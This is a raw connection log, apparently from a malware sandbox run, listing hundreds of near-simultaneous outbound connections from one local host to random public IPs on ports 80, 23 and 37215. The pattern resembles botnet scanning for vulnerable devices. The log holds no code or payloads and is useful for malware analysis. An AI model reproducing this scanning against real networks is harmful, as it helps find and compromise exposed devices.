Dec 3, 2024 22:16:46.356601000 CET	37707	80	192.168.2.23	116.78.42.15
Dec 3, 2024 22:16:46.356602907 CET	37707	80	192.168.2.23	59.248.205.203
Dec 3, 2024 22:16:46.356601000 CET	37707	80	192.168.2.23	103.189.251.89
Dec 3, 2024 22:16:46.356605053 CET	37707	80	192.168.2.23	87.73.138.184
Dec 3, 2024 22:16:46.356605053 CET	37707	80	192.168.2.23	207.234.212.227
Dec 3, 2024 22:16:46.356605053 CET	37707	80	192.168.2.23	133.120.132.168
Dec 3, 2024 22:16:46.356605053 CET	37707	80	192.168.2.23	182.189.97.166
Dec 3, 2024 22:16:46.356605053 CET	37707	80	192.168.2.23	9.118.35.57
Dec 3, 2024 22:16:46.356612921 CET	37707	80	192.168.2.23	97.137.21.210
Dec 3, 2024 22:16:46.356615067 CET	37707	80	192.168.2.23	209.174.127.138
Dec 3, 2024 22:16:46.356616974 CET	37707	80	192.168.2.23	129.61.32.22
Dec 3, 2024 22:16:46.356616974 CET	37707	80	192.168.2.23	167.151.52.16
Dec 3, 2024 22:16:46.356617928 CET	37707	80	192.168.2.23	178.166.90.27
Dec 3, 2024 22:16:46.356616974 CET	37707	80	192.168.2.23	36.211.71.240
Dec 3, 2024 22:16:46.356617928 CET	37707	80	192.168.2.23	212.201.175.231
Dec 3, 2024 22:16:46.356617928 CET	37707	80	192.168.2.23	19.69.44.190
Dec 3, 2024 22:16:46.356632948 CET	37707	80	192.168.2.23	13.143.16.154
Dec 3, 2024 22:16:46.356633902 CET	37707	80	192.168.2.23	86.208.34.24
Dec 3, 2024 22:16:46.356636047 CET	37707	80	192.168.2.23	61.192.83.102
Dec 3, 2024 22:16:46.356641054 CET	37707	80	192.168.2.23	24.90.27.185
Dec 3, 2024 22:16:46.356641054 CET	37707	80	192.168.2.23	20.175.199.58
Dec 3, 2024 22:16:46.356642962 CET	37707	80	192.168.2.23	98.207.221.163
Dec 3, 2024 22:16:46.356642962 CET	37707	80	192.168.2.23	135.32.80.244
Dec 3, 2024 22:16:46.356642962 CET	37707	80	192.168.2.23	208.186.152.182
Dec 3, 2024 22:16:46.356645107 CET	37707	80	192.168.2.23	72.75.229.147
Dec 3, 2024 22:16:46.356645107 CET	37707	80	192.168.2.23	78.188.142.117
Dec 3, 2024 22:16:46.356645107 CET	37707	80	192.168.2.23	150.236.182.221
Dec 3, 2024 22:16:46.356645107 CET	37707	80	192.168.2.23	223.67.234.102
Dec 3, 2024 22:16:46.356645107 CET	37707	80	192.168.2.23	104.249.253.69
Dec 3, 2024 22:16:46.356645107 CET	37707	80	192.168.2.23	70.124.222.122
Dec 3, 2024 22:16:46.356653929 CET	37707	80	192.168.2.23	173.224.238.68
Dec 3, 2024 22:16:46.356653929 CET	37707	80	192.168.2.23	119.33.62.21
Dec 3, 2024 22:16:46.356662989 CET	37707	80	192.168.2.23	116.240.254.184
Dec 3, 2024 22:16:46.356662989 CET	37707	80	192.168.2.23	116.88.244.209
Dec 3, 2024 22:16:46.356666088 CET	37707	80	192.168.2.23	5.111.179.69
Dec 3, 2024 22:16:46.356666088 CET	37707	80	192.168.2.23	35.247.45.4
Dec 3, 2024 22:16:46.356666088 CET	37707	80	192.168.2.23	143.233.96.52
Dec 3, 2024 22:16:46.356666088 CET	37707	80	192.168.2.23	13.110.103.208
Dec 3, 2024 22:16:46.356666088 CET	37707	80	192.168.2.23	160.119.103.255
Dec 3, 2024 22:16:46.356666088 CET	37707	80	192.168.2.23	99.44.177.209
Dec 3, 2024 22:16:46.356668949 CET	37707	80	192.168.2.23	62.111.164.168
Dec 3, 2024 22:16:46.356668949 CET	37707	80	192.168.2.23	76.69.127.2
Dec 3, 2024 22:16:46.356668949 CET	37707	80	192.168.2.23	78.45.106.152
Dec 3, 2024 22:16:46.356668949 CET	37707	80	192.168.2.23	89.48.213.242
Dec 3, 2024 22:16:46.356668949 CET	37707	80	192.168.2.23	158.100.129.96
Dec 3, 2024 22:16:46.356668949 CET	37707	80	192.168.2.23	78.197.84.202
Dec 3, 2024 22:16:46.356668949 CET	37707	80	192.168.2.23	119.54.125.114
Dec 3, 2024 22:16:46.356674910 CET	37707	80	192.168.2.23	166.22.185.18
Dec 3, 2024 22:16:46.356674910 CET	37707	80	192.168.2.23	92.193.64.105
Dec 3, 2024 22:16:46.356683969 CET	37707	80	192.168.2.23	8.201.169.227
Dec 3, 2024 22:16:46.356683969 CET	37707	80	192.168.2.23	93.234.181.196
Dec 3, 2024 22:16:46.356683969 CET	37707	80	192.168.2.23	1.218.71.198
Dec 3, 2024 22:16:46.356683969 CET	37707	80	192.168.2.23	186.40.204.169
Dec 3, 2024 22:16:46.356686115 CET	37707	80	192.168.2.23	223.132.106.32
Dec 3, 2024 22:16:46.356688023 CET	37707	80	192.168.2.23	157.85.148.43
Dec 3, 2024 22:16:46.356688023 CET	37707	80	192.168.2.23	132.162.94.191
Dec 3, 2024 22:16:46.356688976 CET	37707	80	192.168.2.23	123.247.128.162
Dec 3, 2024 22:16:46.356690884 CET	37707	80	192.168.2.23	81.142.103.202
Dec 3, 2024 22:16:46.356693029 CET	37707	80	192.168.2.23	123.186.23.133
Dec 3, 2024 22:16:46.356693029 CET	37707	80	192.168.2.23	150.50.233.26
Dec 3, 2024 22:16:46.356693029 CET	37707	80	192.168.2.23	124.111.236.110
Dec 3, 2024 22:16:46.356693029 CET	37707	80	192.168.2.23	180.237.76.84
Dec 3, 2024 22:16:46.356693983 CET	37707	80	192.168.2.23	129.61.97.166
Dec 3, 2024 22:16:46.356693983 CET	37707	80	192.168.2.23	113.199.239.112
Dec 3, 2024 22:16:46.356693983 CET	37707	80	192.168.2.23	200.84.158.187
Dec 3, 2024 22:16:46.356693983 CET	37707	80	192.168.2.23	132.70.91.78
Dec 3, 2024 22:16:46.356693983 CET	37707	80	192.168.2.23	36.154.30.132
Dec 3, 2024 22:16:46.356698036 CET	37707	80	192.168.2.23	38.126.5.80
Dec 3, 2024 22:16:46.356698036 CET	37707	80	192.168.2.23	51.87.66.187
Dec 3, 2024 22:16:46.356698036 CET	37707	80	192.168.2.23	63.221.88.245
Dec 3, 2024 22:16:46.356698036 CET	37707	80	192.168.2.23	17.27.75.130
Dec 3, 2024 22:16:46.356698036 CET	37707	80	192.168.2.23	12.187.33.169
Dec 3, 2024 22:16:46.356698036 CET	37707	80	192.168.2.23	209.124.69.136
Dec 3, 2024 22:16:46.356698036 CET	37707	80	192.168.2.23	42.31.102.193
Dec 3, 2024 22:16:46.356698036 CET	37707	80	192.168.2.23	184.118.86.171
Dec 3, 2024 22:16:46.356705904 CET	37707	80	192.168.2.23	120.29.56.78
Dec 3, 2024 22:16:46.356710911 CET	37707	80	192.168.2.23	97.189.217.33
Dec 3, 2024 22:16:46.356710911 CET	37707	80	192.168.2.23	19.154.118.194
Dec 3, 2024 22:16:46.356710911 CET	37707	80	192.168.2.23	174.97.169.206
Dec 3, 2024 22:16:46.356712103 CET	37707	80	192.168.2.23	151.169.115.52
Dec 3, 2024 22:16:46.356712103 CET	37707	80	192.168.2.23	107.253.213.58
Dec 3, 2024 22:16:46.356713057 CET	37707	80	192.168.2.23	52.55.137.15
Dec 3, 2024 22:16:46.356710911 CET	37707	80	192.168.2.23	111.53.247.244
Dec 3, 2024 22:16:46.356712103 CET	37707	80	192.168.2.23	210.199.152.114
Dec 3, 2024 22:16:46.356712103 CET	37707	80	192.168.2.23	149.219.100.148
Dec 3, 2024 22:16:46.356713057 CET	37707	80	192.168.2.23	167.89.29.228
Dec 3, 2024 22:16:46.356712103 CET	37707	80	192.168.2.23	174.139.124.230
Dec 3, 2024 22:16:46.356712103 CET	37707	80	192.168.2.23	221.72.157.2
Dec 3, 2024 22:16:46.356712103 CET	37707	80	192.168.2.23	100.234.176.215
Dec 3, 2024 22:16:46.356712103 CET	37707	80	192.168.2.23	208.244.117.70
Dec 3, 2024 22:16:46.356720924 CET	37707	80	192.168.2.23	186.19.121.7
Dec 3, 2024 22:16:46.356734037 CET	37707	80	192.168.2.23	159.41.39.197
Dec 3, 2024 22:16:46.356734037 CET	37707	80	192.168.2.23	115.27.88.103
Dec 3, 2024 22:16:46.356734037 CET	37707	80	192.168.2.23	212.76.51.58
Dec 3, 2024 22:16:46.356734991 CET	37707	80	192.168.2.23	32.181.163.191
Dec 3, 2024 22:16:46.356734991 CET	37707	80	192.168.2.23	185.59.162.245
Dec 3, 2024 22:16:46.356738091 CET	37707	80	192.168.2.23	166.73.42.144
Dec 3, 2024 22:16:46.356739998 CET	37707	80	192.168.2.23	91.106.154.21
Dec 3, 2024 22:16:46.356739998 CET	37707	80	192.168.2.23	119.9.161.238
Dec 3, 2024 22:16:46.356739998 CET	37707	80	192.168.2.23	151.140.130.112
Dec 3, 2024 22:16:46.356739998 CET	37707	80	192.168.2.23	209.249.50.206
Dec 3, 2024 22:16:46.356743097 CET	37707	80	192.168.2.23	53.197.177.33
Dec 3, 2024 22:16:46.356743097 CET	37707	80	192.168.2.23	9.88.148.48
Dec 3, 2024 22:16:46.356744051 CET	37707	80	192.168.2.23	52.95.37.241
Dec 3, 2024 22:16:46.356744051 CET	37707	80	192.168.2.23	172.132.123.91
Dec 3, 2024 22:16:46.356744051 CET	37707	80	192.168.2.23	221.224.19.108
Dec 3, 2024 22:16:46.356751919 CET	37707	80	192.168.2.23	107.182.148.162
Dec 3, 2024 22:16:46.356753111 CET	37707	80	192.168.2.23	72.76.119.16
Dec 3, 2024 22:16:46.356753111 CET	37707	80	192.168.2.23	37.52.198.176
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	130.68.107.58
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	13.4.133.127
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	194.210.116.38
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	198.71.43.101
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	103.82.202.96
Dec 3, 2024 22:16:46.356771946 CET	37707	80	192.168.2.23	222.112.79.67
Dec 3, 2024 22:16:46.356772900 CET	37707	80	192.168.2.23	39.121.4.222
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	180.198.41.42
Dec 3, 2024 22:16:46.356772900 CET	37707	80	192.168.2.23	134.102.255.188
Dec 3, 2024 22:16:46.356774092 CET	37707	80	192.168.2.23	114.186.243.229
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	86.117.43.116
Dec 3, 2024 22:16:46.356771946 CET	37707	80	192.168.2.23	145.141.179.136
Dec 3, 2024 22:16:46.356775045 CET	37707	80	192.168.2.23	51.134.141.147
Dec 3, 2024 22:16:46.356771946 CET	37707	80	192.168.2.23	98.58.202.144
Dec 3, 2024 22:16:46.356774092 CET	37707	80	192.168.2.23	189.246.52.161
Dec 3, 2024 22:16:46.356775045 CET	37707	80	192.168.2.23	154.187.185.138
Dec 3, 2024 22:16:46.356771946 CET	37707	80	192.168.2.23	144.50.149.64
Dec 3, 2024 22:16:46.356774092 CET	37707	80	192.168.2.23	102.237.112.173
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	88.169.30.104
Dec 3, 2024 22:16:46.356775045 CET	37707	80	192.168.2.23	8.47.204.7
Dec 3, 2024 22:16:46.356774092 CET	37707	80	192.168.2.23	159.225.236.221
Dec 3, 2024 22:16:46.356770992 CET	37707	80	192.168.2.23	168.44.134.143
Dec 3, 2024 22:16:46.356775045 CET	37707	80	192.168.2.23	102.33.51.188
Dec 3, 2024 22:16:46.356775045 CET	37707	80	192.168.2.23	68.197.7.215
Dec 3, 2024 22:16:46.356775045 CET	37707	80	192.168.2.23	108.132.182.193
Dec 3, 2024 22:16:46.356775045 CET	37707	80	192.168.2.23	80.59.160.1
Dec 3, 2024 22:16:46.356794119 CET	37707	80	192.168.2.23	218.93.239.71
Dec 3, 2024 22:16:46.356794119 CET	37707	80	192.168.2.23	95.147.54.16
Dec 3, 2024 22:16:46.356794119 CET	37707	80	192.168.2.23	46.105.114.174
Dec 3, 2024 22:16:46.356794119 CET	37707	80	192.168.2.23	189.20.198.21
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	121.10.56.72
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	25.173.75.72
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	111.124.5.140
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	96.5.178.213
Dec 3, 2024 22:16:46.356798887 CET	37707	80	192.168.2.23	111.229.201.173
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	170.33.244.156
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	39.201.111.240
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	90.249.88.25
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	50.153.231.70
Dec 3, 2024 22:16:46.356798887 CET	37707	80	192.168.2.23	43.27.239.169
Dec 3, 2024 22:16:46.356808901 CET	37707	80	192.168.2.23	154.179.168.209
Dec 3, 2024 22:16:46.356798887 CET	37707	80	192.168.2.23	198.30.7.57
Dec 3, 2024 22:16:46.356811047 CET	37707	80	192.168.2.23	128.176.194.159
Dec 3, 2024 22:16:46.356798887 CET	36152	23	192.168.2.23	58.42.128.10
Dec 3, 2024 22:16:46.356812000 CET	37707	80	192.168.2.23	77.36.211.225
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	198.187.66.114
Dec 3, 2024 22:16:46.356798887 CET	37707	80	192.168.2.23	108.164.33.214
Dec 3, 2024 22:16:46.356811047 CET	37707	80	192.168.2.23	84.87.159.210
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	170.246.53.129
Dec 3, 2024 22:16:46.356817007 CET	37707	80	192.168.2.23	118.28.151.138
Dec 3, 2024 22:16:46.356812000 CET	37707	80	192.168.2.23	148.130.211.53
Dec 3, 2024 22:16:46.356797934 CET	37707	80	192.168.2.23	36.187.68.127
Dec 3, 2024 22:16:46.356817007 CET	37707	80	192.168.2.23	164.129.30.167
Dec 3, 2024 22:16:46.356812000 CET	37707	80	192.168.2.23	207.62.146.146
Dec 3, 2024 22:16:46.356806993 CET	37707	80	192.168.2.23	46.60.190.157
Dec 3, 2024 22:16:46.356798887 CET	37707	80	192.168.2.23	39.249.54.8
Dec 3, 2024 22:16:46.356806993 CET	37707	80	192.168.2.23	210.94.36.225
Dec 3, 2024 22:16:46.356806993 CET	37707	80	192.168.2.23	157.95.214.223
Dec 3, 2024 22:16:46.356806993 CET	37707	80	192.168.2.23	133.130.202.18
Dec 3, 2024 22:16:46.356806993 CET	37707	80	192.168.2.23	116.151.132.57
Dec 3, 2024 22:16:46.356806993 CET	37707	80	192.168.2.23	121.157.235.184
Dec 3, 2024 22:16:46.356806993 CET	37707	80	192.168.2.23	198.187.217.200
Dec 3, 2024 22:16:46.356806993 CET	37707	80	192.168.2.23	39.116.15.8
Dec 3, 2024 22:16:46.356817007 CET	37707	80	192.168.2.23	194.13.34.123
Dec 3, 2024 22:16:46.356817007 CET	37707	80	192.168.2.23	145.177.156.161
Dec 3, 2024 22:16:46.356808901 CET	37707	80	192.168.2.23	206.33.78.192
Dec 3, 2024 22:16:46.356827021 CET	37707	80	192.168.2.23	103.229.134.229
Dec 3, 2024 22:16:46.356827021 CET	37707	80	192.168.2.23	105.217.46.33
Dec 3, 2024 22:16:46.356827021 CET	37707	80	192.168.2.23	98.195.35.242
Dec 3, 2024 22:16:46.356829882 CET	37707	80	192.168.2.23	75.250.91.0
Dec 3, 2024 22:16:46.356834888 CET	37707	80	192.168.2.23	101.255.253.115
Dec 3, 2024 22:16:46.356829882 CET	37707	80	192.168.2.23	122.176.116.216
Dec 3, 2024 22:16:46.356837034 CET	37707	80	192.168.2.23	73.15.73.186
Dec 3, 2024 22:16:46.356832981 CET	37707	80	192.168.2.23	144.99.164.165
Dec 3, 2024 22:16:46.356832981 CET	37707	80	192.168.2.23	211.254.239.235
Dec 3, 2024 22:16:46.356834888 CET	37707	80	192.168.2.23	223.152.27.108
Dec 3, 2024 22:16:46.356833935 CET	37707	80	192.168.2.23	210.249.103.222
Dec 3, 2024 22:16:46.356832981 CET	37707	80	192.168.2.23	82.193.183.9
Dec 3, 2024 22:16:46.356829882 CET	37707	80	192.168.2.23	40.244.187.160
Dec 3, 2024 22:16:46.356834888 CET	37707	80	192.168.2.23	222.16.83.69
Dec 3, 2024 22:16:46.356829882 CET	37707	80	192.168.2.23	69.246.54.190
Dec 3, 2024 22:16:46.356834888 CET	37707	80	192.168.2.23	47.63.89.69
Dec 3, 2024 22:16:46.356836081 CET	37707	80	192.168.2.23	68.129.49.162
Dec 3, 2024 22:16:46.356831074 CET	37707	80	192.168.2.23	195.180.233.59
Dec 3, 2024 22:16:46.356832981 CET	37707	80	192.168.2.23	12.41.145.11
Dec 3, 2024 22:16:46.356848001 CET	37707	80	192.168.2.23	92.15.110.11
Dec 3, 2024 22:16:46.356829882 CET	37707	80	192.168.2.23	111.109.241.226
Dec 3, 2024 22:16:46.356836081 CET	37707	80	192.168.2.23	44.96.243.56
Dec 3, 2024 22:16:46.356831074 CET	37707	80	192.168.2.23	132.181.193.88
Dec 3, 2024 22:16:46.356836081 CET	37707	80	192.168.2.23	25.44.46.149
Dec 3, 2024 22:16:46.356831074 CET	37707	80	192.168.2.23	60.52.21.178
Dec 3, 2024 22:16:46.356848001 CET	37707	80	192.168.2.23	132.155.251.247
Dec 3, 2024 22:16:46.356858015 CET	37707	80	192.168.2.23	129.159.114.126
Dec 3, 2024 22:16:46.356858969 CET	37707	80	192.168.2.23	195.121.223.92
Dec 3, 2024 22:16:46.356834888 CET	37707	80	192.168.2.23	128.2.191.123
Dec 3, 2024 22:16:46.356858969 CET	37707	80	192.168.2.23	213.228.30.233
Dec 3, 2024 22:16:46.356858015 CET	37707	80	192.168.2.23	184.223.215.58
Dec 3, 2024 22:16:46.356833935 CET	37707	80	192.168.2.23	191.230.150.230
Dec 3, 2024 22:16:46.356831074 CET	37707	80	192.168.2.23	195.250.235.11
Dec 3, 2024 22:16:46.356833935 CET	37707	80	192.168.2.23	107.162.243.247
Dec 3, 2024 22:16:46.356831074 CET	37707	80	192.168.2.23	210.82.248.212
Dec 3, 2024 22:16:46.356833935 CET	37707	80	192.168.2.23	216.55.191.127
Dec 3, 2024 22:16:46.356831074 CET	37707	80	192.168.2.23	208.187.40.169
Dec 3, 2024 22:16:46.356863976 CET	37707	80	192.168.2.23	166.18.86.40
Dec 3, 2024 22:16:46.356831074 CET	37707	80	192.168.2.23	110.181.4.181
Dec 3, 2024 22:16:46.356864929 CET	37707	80	192.168.2.23	180.78.51.177
Dec 3, 2024 22:16:46.356831074 CET	37707	80	192.168.2.23	5.199.151.21
Dec 3, 2024 22:16:46.356865883 CET	37707	80	192.168.2.23	190.255.7.157
Dec 3, 2024 22:16:46.356864929 CET	37707	80	192.168.2.23	223.33.122.146
Dec 3, 2024 22:16:46.356865883 CET	37707	80	192.168.2.23	73.4.76.64
Dec 3, 2024 22:16:46.356864929 CET	37707	80	192.168.2.23	186.8.212.135
Dec 3, 2024 22:16:46.356865883 CET	37707	80	192.168.2.23	132.84.211.214
Dec 3, 2024 22:16:46.356865883 CET	37707	80	192.168.2.23	205.191.183.137
Dec 3, 2024 22:16:46.356875896 CET	37707	80	192.168.2.23	170.44.199.0
Dec 3, 2024 22:16:46.356875896 CET	37707	80	192.168.2.23	12.206.235.215
Dec 3, 2024 22:16:46.356875896 CET	37707	80	192.168.2.23	103.53.19.246
Dec 3, 2024 22:16:46.356875896 CET	37707	80	192.168.2.23	40.176.159.103
Dec 3, 2024 22:16:46.356875896 CET	37707	80	192.168.2.23	144.209.216.125
Dec 3, 2024 22:16:46.356875896 CET	37707	80	192.168.2.23	27.124.44.124
Dec 3, 2024 22:16:46.356882095 CET	37707	80	192.168.2.23	222.95.74.103
Dec 3, 2024 22:16:46.356882095 CET	37707	80	192.168.2.23	164.153.155.9
Dec 3, 2024 22:16:46.356884003 CET	37707	80	192.168.2.23	163.119.114.74
Dec 3, 2024 22:16:46.356884003 CET	37707	80	192.168.2.23	113.44.64.126
Dec 3, 2024 22:16:46.356884003 CET	37707	80	192.168.2.23	186.37.41.147
Dec 3, 2024 22:16:46.356888056 CET	37707	80	192.168.2.23	69.173.13.227
Dec 3, 2024 22:16:46.356889009 CET	37707	80	192.168.2.23	12.10.164.217
Dec 3, 2024 22:16:46.356889009 CET	37707	80	192.168.2.23	43.50.65.235
Dec 3, 2024 22:16:46.356892109 CET	37707	80	192.168.2.23	71.176.141.214
Dec 3, 2024 22:16:46.356909037 CET	37707	80	192.168.2.23	36.166.219.33
Dec 3, 2024 22:16:46.356913090 CET	37707	80	192.168.2.23	158.32.9.34
Dec 3, 2024 22:16:46.356913090 CET	37707	80	192.168.2.23	8.212.219.27
Dec 3, 2024 22:16:46.356913090 CET	37707	80	192.168.2.23	67.115.159.0
Dec 3, 2024 22:16:46.356914043 CET	37707	80	192.168.2.23	160.205.147.12
Dec 3, 2024 22:16:46.356914043 CET	37707	80	192.168.2.23	185.37.192.180
Dec 3, 2024 22:16:46.356913090 CET	37707	80	192.168.2.23	31.213.165.153
Dec 3, 2024 22:16:46.356914997 CET	37707	80	192.168.2.23	207.68.77.224
Dec 3, 2024 22:16:46.356914997 CET	37707	80	192.168.2.23	191.23.203.70
Dec 3, 2024 22:16:46.356914997 CET	37707	80	192.168.2.23	77.238.112.12
Dec 3, 2024 22:16:46.356914997 CET	37707	80	192.168.2.23	156.75.216.102
Dec 3, 2024 22:16:46.356914997 CET	37707	80	192.168.2.23	78.210.108.135
Dec 3, 2024 22:16:46.356914997 CET	37707	80	192.168.2.23	104.247.38.239
Dec 3, 2024 22:16:46.356921911 CET	37707	80	192.168.2.23	97.178.77.170
Dec 3, 2024 22:16:46.357383966 CET	42008	23	192.168.2.23	196.58.181.140
Dec 3, 2024 22:16:46.357897043 CET	51726	23	192.168.2.23	137.254.102.214
Dec 3, 2024 22:16:46.358407021 CET	56570	23	192.168.2.23	132.119.233.12
Dec 3, 2024 22:16:46.358941078 CET	56744	23	192.168.2.23	67.125.181.147
Dec 3, 2024 22:16:46.359464884 CET	60194	23	192.168.2.23	68.177.209.190
Dec 3, 2024 22:16:46.359991074 CET	51150	23	192.168.2.23	85.186.163.112
Dec 3, 2024 22:16:46.360532045 CET	42252	23	192.168.2.23	196.124.77.83
Dec 3, 2024 22:16:46.362427950 CET	36928	23	192.168.2.23	71.97.180.91
Dec 3, 2024 22:16:46.363162041 CET	41634	23	192.168.2.23	199.226.100.20
Dec 3, 2024 22:16:46.363687992 CET	59982	23	192.168.2.23	76.201.207.93
Dec 3, 2024 22:16:46.364203930 CET	32990	23	192.168.2.23	40.109.68.74
Dec 3, 2024 22:16:46.364732981 CET	37462	23	192.168.2.23	223.212.231.178
Dec 3, 2024 22:16:46.365256071 CET	45830	23	192.168.2.23	32.137.169.20
Dec 3, 2024 22:16:46.365776062 CET	43970	23	192.168.2.23	122.176.239.116
Dec 3, 2024 22:16:46.366302013 CET	45746	23	192.168.2.23	9.25.140.107
Dec 3, 2024 22:16:46.366821051 CET	39186	23	192.168.2.23	222.167.34.249
Dec 3, 2024 22:16:46.367336988 CET	53858	23	192.168.2.23	92.222.177.83
Dec 3, 2024 22:16:46.367875099 CET	39820	23	192.168.2.23	103.50.36.160
Dec 3, 2024 22:16:46.368421078 CET	43326	23	192.168.2.23	12.197.33.14
Dec 3, 2024 22:16:46.368957996 CET	58302	23	192.168.2.23	187.155.171.67
Dec 3, 2024 22:16:46.369472980 CET	51696	23	192.168.2.23	105.129.205.237
Dec 3, 2024 22:16:46.369576931 CET	37451	37215	192.168.2.23	41.240.244.151
Dec 3, 2024 22:16:46.369576931 CET	37451	37215	192.168.2.23	156.27.116.223
Dec 3, 2024 22:16:46.369580984 CET	37451	37215	192.168.2.23	197.180.46.79
Dec 3, 2024 22:16:46.369590044 CET	37451	37215	192.168.2.23	156.154.163.67
Dec 3, 2024 22:16:46.369597912 CET	37451	37215	192.168.2.23	197.253.84.120
Dec 3, 2024 22:16:46.369600058 CET	37451	37215	192.168.2.23	156.105.240.128
Dec 3, 2024 22:16:46.369605064 CET	37451	37215	192.168.2.23	156.78.252.210
Dec 3, 2024 22:16:46.369611979 CET	37451	37215	192.168.2.23	156.161.211.94
Dec 3, 2024 22:16:46.369617939 CET	37451	37215	192.168.2.23	156.37.35.184
Dec 3, 2024 22:16:46.369636059 CET	37451	37215	192.168.2.23	197.147.19.71
Dec 3, 2024 22:16:46.369637012 CET	37451	37215	192.168.2.23	41.243.0.120
Dec 3, 2024 22:16:46.369652987 CET	37451	37215	192.168.2.23	156.203.216.17
Dec 3, 2024 22:16:46.369652987 CET	37451	37215	192.168.2.23	156.209.140.49
Dec 3, 2024 22:16:46.369654894 CET	37451	37215	192.168.2.23	156.222.56.161
Dec 3, 2024 22:16:46.369657993 CET	37451	37215	192.168.2.23	41.123.109.199
Dec 3, 2024 22:16:46.369672060 CET	37451	37215	192.168.2.23	156.145.177.142
Dec 3, 2024 22:16:46.369673967 CET	37451	37215	192.168.2.23	197.97.157.38
Dec 3, 2024 22:16:46.369678020 CET	37451	37215	192.168.2.23	197.119.9.164
Dec 3, 2024 22:16:46.369693041 CET	37451	37215	192.168.2.23	156.96.10.91
Dec 3, 2024 22:16:46.369693995 CET	37451	37215	192.168.2.23	41.194.87.235
Dec 3, 2024 22:16:46.369694948 CET	37451	37215	192.168.2.23	156.208.219.159
Dec 3, 2024 22:16:46.369694948 CET	37451	37215	192.168.2.23	197.229.250.150
Dec 3, 2024 22:16:46.369699955 CET	37451	37215	192.168.2.23	197.224.208.181
Dec 3, 2024 22:16:46.369699955 CET	37451	37215	192.168.2.23	156.111.89.241
Dec 3, 2024 22:16:46.369703054 CET	37451	37215	192.168.2.23	41.176.16.100
Dec 3, 2024 22:16:46.369705915 CET	37451	37215	192.168.2.23	41.205.25.15
Dec 3, 2024 22:16:46.369728088 CET	37451	37215	192.168.2.23	156.12.149.66
Dec 3, 2024 22:16:46.369728088 CET	37451	37215	192.168.2.23	156.144.174.118
Dec 3, 2024 22:16:46.369731903 CET	37451	37215	192.168.2.23	41.20.222.178
Dec 3, 2024 22:16:46.369731903 CET	37451	37215	192.168.2.23	156.40.187.249
Dec 3, 2024 22:16:46.369734049 CET	37451	37215	192.168.2.23	41.235.33.248
Dec 3, 2024 22:16:46.369754076 CET	37451	37215	192.168.2.23	41.80.229.190
Dec 3, 2024 22:16:46.369755983 CET	37451	37215	192.168.2.23	197.73.18.31
Dec 3, 2024 22:16:46.369760990 CET	37451	37215	192.168.2.23	41.167.66.90
Dec 3, 2024 22:16:46.369760990 CET	37451	37215	192.168.2.23	156.22.112.215
Dec 3, 2024 22:16:46.369764090 CET	37451	37215	192.168.2.23	156.173.135.97
Dec 3, 2024 22:16:46.369764090 CET	37451	37215	192.168.2.23	197.252.40.65
Dec 3, 2024 22:16:46.369776011 CET	37451	37215	192.168.2.23	156.209.152.151
Dec 3, 2024 22:16:46.369784117 CET	37451	37215	192.168.2.23	197.147.236.73
Dec 3, 2024 22:16:46.369784117 CET	37451	37215	192.168.2.23	41.102.190.136
Dec 3, 2024 22:16:46.369784117 CET	37451	37215	192.168.2.23	156.64.32.63
Dec 3, 2024 22:16:46.369800091 CET	37451	37215	192.168.2.23	197.165.51.24
Dec 3, 2024 22:16:46.369800091 CET	37451	37215	192.168.2.23	197.113.52.92
Dec 3, 2024 22:16:46.369800091 CET	37451	37215	192.168.2.23	41.164.60.11
Dec 3, 2024 22:16:46.369812012 CET	37451	37215	192.168.2.23	41.222.59.205
Dec 3, 2024 22:16:46.369824886 CET	37451	37215	192.168.2.23	41.74.27.123
Dec 3, 2024 22:16:46.369827986 CET	37451	37215	192.168.2.23	156.149.116.33
Dec 3, 2024 22:16:46.369832039 CET	37451	37215	192.168.2.23	41.52.6.177
Dec 3, 2024 22:16:46.369834900 CET	37451	37215	192.168.2.23	197.235.174.101
Dec 3, 2024 22:16:46.369848013 CET	37451	37215	192.168.2.23	197.156.111.166
Dec 3, 2024 22:16:46.369853020 CET	37451	37215	192.168.2.23	156.239.225.144
Dec 3, 2024 22:16:46.369858980 CET	37451	37215	192.168.2.23	156.0.93.48
Dec 3, 2024 22:16:46.369864941 CET	37451	37215	192.168.2.23	41.195.168.245
Dec 3, 2024 22:16:46.369879961 CET	37451	37215	192.168.2.23	41.147.50.108
Dec 3, 2024 22:16:46.369887114 CET	37451	37215	192.168.2.23	156.127.170.196
Dec 3, 2024 22:16:46.369888067 CET	37451	37215	192.168.2.23	156.195.133.227
Dec 3, 2024 22:16:46.369888067 CET	37451	37215	192.168.2.23	41.182.245.91
Dec 3, 2024 22:16:46.369894028 CET	37451	37215	192.168.2.23	41.145.140.239
Dec 3, 2024 22:16:46.369915962 CET	37451	37215	192.168.2.23	156.248.204.193
Dec 3, 2024 22:16:46.369919062 CET	37451	37215	192.168.2.23	41.140.100.73
Dec 3, 2024 22:16:46.369925022 CET	37451	37215	192.168.2.23	41.169.212.56
Dec 3, 2024 22:16:46.369935036 CET	37451	37215	192.168.2.23	156.128.66.249
Dec 3, 2024 22:16:46.369935036 CET	37451	37215	192.168.2.23	41.78.160.7
Dec 3, 2024 22:16:46.369946003 CET	37451	37215	192.168.2.23	41.34.248.56
Dec 3, 2024 22:16:46.369954109 CET	37451	37215	192.168.2.23	41.210.81.145
Dec 3, 2024 22:16:46.369959116 CET	37451	37215	192.168.2.23	156.217.90.189
Dec 3, 2024 22:16:46.369959116 CET	37451	37215	192.168.2.23	41.47.39.51
